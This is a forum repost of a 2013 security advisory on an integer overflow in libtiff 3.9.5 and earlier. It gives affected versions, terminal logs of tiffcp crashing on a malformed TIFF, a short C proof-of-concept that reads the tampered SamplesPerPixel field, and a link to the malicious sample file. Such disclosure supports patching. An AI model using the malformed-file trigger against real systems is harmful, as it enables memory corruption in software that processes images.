Matt Posted August 27, 2013 Report Posted August 27, 2013 Description : libtiff versions 3.9.5 and below suffer from an integer overflow vulnerability.Author : x90cSource : libtiff 3.9.5 Integer Overflow ? Packet StormCode : +----------------------------------------------------+| XADV-2013001 libtiff <= 3.9.5 integer overflow bug |+----------------------------------------------------+vulnerable versions:- libtiff 3.9.5 <=- libtiff 3.6.0not vulnerable versions:- libtiff 4.0.3- libtiff 4.0.2- libtiff 4.0.1- libtiff 4.0.0release path:4.0.3(latest) -> 4.0.2 -> 4.0.1 -> 4.0.0(patched)-> 3.9.5(vulnerable)testbed: linux distrotype: localimpact: mediumvendor: http://www.remotesensing.org/libtiffauthor: x90csite: x90c.orgemail: geinblues@gmail.com==========abstract:==========I discovered libtiff TIFFOpen integer overflow bug by weird TIFFOpen call success with malformed tifimage file!- tiffcp tool (tiffinfo, tiff2ps, ... also can test):Many times tiffcp execution ... often, it entered to tiffcp function in tiffcp tool after tiffopen. Oftencalling openSrcImage success. malformed tif image within count of SamplePerPixel or RowsPerStrip can beopened by TIFFOpen even though can't tiffcp, TIFFWriteDirectory with the returned TIFF*- integer overflow to heap corruption:Malformed tif image file within SamplePerPixel and RowsPerStrip can be opened the malformed tifdata. and can be calculated in other libraryfunctions it leads to integer overflow to memorycorruption!- exploitation:Exploit tries many times to call TIFFOpen withmalformed tif file. sometimes after, the target programused vulnerable libtiff can be corrupted if these two field will passed validation checks=========details:=========tiff-v3.6.0/tools/tiffcpMany times TIFFOpen calls----..[root@centos5 tools]# export SAMPLE=/home/x90c/sample_spp.tif[root@centos5 tools]# ./tiffcp -b $SAMPLE/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.[root@centos5 tools]# ./tiffcp -b $SAMPLE/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.[root@centos5 tools]# ./tiffcp -b $SAMPLE/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.[root@centos5 tools]# ./tiffcp -b $SAMPLEsamples=1392 imagewidth=2464 rowsperstrip=3248 // debug outputBias image must be monochrome[root@centos5 tools]#----As you see, malformed td_samplesperpixel(sampleperpixel field of tif image) count of 2 changes these values 1,0to a value of sample= of 1392(0x570). the invalid valuecan be calculated and integer overflow!===============exploit codes:===============tiff_poc.c--#include <stdio.h>#include <stdlib.h>#include <string.h>#include "tiffio.h"int tiff_integer_overflow_test(){TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");int samples = 0;/* * for instance, TIFFGetField library function will * called with malicious samplesperpixel field value * TIFFGetField got segfault! */TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);printf("tiff_poc: tif samplesperpixel field=%d\n", samples);}--- I attached the sample_spp.tif:http://www.x90c.org/exploits/sample_spp.tif=============patch codes:=============tiff-4.0.3/tools/tiffcp (latest version)----TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tifTIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".[root@centos5 tools]#...........----safe!==============vendor status:==============2013/08/24 - I discovered the security bug2013/08/24 - the advisory released Quote